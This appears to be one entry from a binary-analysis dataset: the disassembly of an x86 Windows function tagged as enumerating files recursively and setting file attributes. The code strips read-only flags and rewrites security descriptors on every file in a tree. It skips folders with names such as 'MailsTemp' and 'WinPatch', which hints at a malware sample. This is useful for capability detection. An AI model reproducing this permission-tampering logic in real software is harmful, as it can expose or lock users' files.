Function at 0x40e0da
Capabilities:
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x358
push edi
cmp dword [ebp + 8], 0
je 0x40e0fa
mov eax, dword [ebp + 8]
push eax
call fcn.00430d40
add esp, 4
test eax, eax
jne 0x40e101
xor eax, eax
jmp 0x40e414
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00408900
add esp, 0x1c
cmp dword [ebp - 8], 0xffffffff
je 0x40e150
mov eax, dword [ebp - 8]
and eax, 1
test eax, eax
je 0x40e150
mov ecx, dword [ebp - 8]
and ecx, 0xfffffffe
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_SetFileSecurityA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40e411
mov ecx, dword [ebp - 8]
and ecx, 0x10
cmp ecx, 0x10
je 0x40e182
mov eax, dword [ebp - 4]
jmp 0x40e414
cmp dword [ebp + 8], 0
je 0x40e2d6
push 0x5c
mov edx, dword [ebp + 8]
push edx
call fcn.00403530
add esp, 8
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 0
je 0x40e2d6
mov eax, dword [ebp - 0x254]
add eax, 1
mov dword [ebp - 0x254], eax
push str.mails
mov ecx, dword [ebp - 0x254]
push ecx
call fcn.00414500
add esp, 8
test eax, eax
je 0x40e2ce
push str.MailsTemp
mov edx, dword [ebp - 0x254]
push edx
call fcn.00414500
add esp, 8
test eax, eax
je 0x40e2ce
push str.MailsLeave
mov eax, dword [ebp - 0x254]
push eax
call fcn.00414500
add esp, 8
test eax, eax
je 0x40e2ce
push str.files
mov ecx, dword [ebp - 0x254]
push ecx
call fcn.00414500
add esp, 8
test eax, eax
je 0x40e2ce
push str.WinPatch
mov edx, dword [ebp - 0x254]
push edx
call fcn.00414500
add esp, 8
test eax, eax
je 0x40e2ce
push str.tsdocbak
mov eax, dword [ebp - 0x254]
push eax
call fcn.00414500
add esp, 8
test eax, eax
je 0x40e2ce
push 0x5b83bc
mov ecx, dword [ebp - 0x254]
push ecx
call fcn.00414500
add esp, 8
test eax, eax
je 0x40e2ce
push 0x5b83c0
mov edx, dword [ebp - 0x254]
push edx
call fcn.00414500
add esp, 8
test eax, eax
je 0x40e2ce
push str.SCDT
mov eax, dword [ebp - 0x254]
push eax
call fcn.00414500
add esp, 8
test eax, eax
je 0x40e2ce
push 0x5b83d0
call fcn.00430d40
add esp, 4
push eax
push str.Temp_Docerr_
mov ecx, dword [ebp - 0x254]
push ecx
call fcn.00414520
add esp, 0xc
test eax, eax
jne 0x40e2d6
mov eax, dword [ebp - 4]
jmp 0x40e414
mov byte [ebp - 0x10c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edx, dword [ebp + 8]
push edx
push 0x5b83f0
push 0x103
lea eax, [ebp - 0x10c]
push eax
call fcn.004320c8
add esp, 0x10
test eax, eax
jge 0x40e317
xor eax, eax
jmp 0x40e414
mov dword [ebp - 0x250], 0
mov ecx, 0x4f
xor eax, eax
lea edi, [ebp - 0x24c]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x250]
push ecx
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0xffffffff
je 0x40e411
push 0x5b83f8
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x40e383
push 0x5b83fc
lea ecx, [ebp - 0x224]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x40e385
jmp 0x40e3e2
mov byte [ebp - 0x358], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x357]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edx, [ebp - 0x224]
push edx
mov eax, dword [ebp + 8]
push eax
push 0x5b8400
push 0x103
lea ecx, [ebp - 0x358]
push ecx
call fcn.004320c8
add esp, 0x14
test eax, eax
jge 0x40e3c8
jmp 0x40e3e2
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x358]
push ecx
call fcn.0040e0da
add esp, 0xc
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40e404
lea edx, [ebp - 0x250]
push edx
mov eax, dword [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40e357
mov ecx, dword [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 4]
pop edi
mov esp, ebp
pop ebp
ret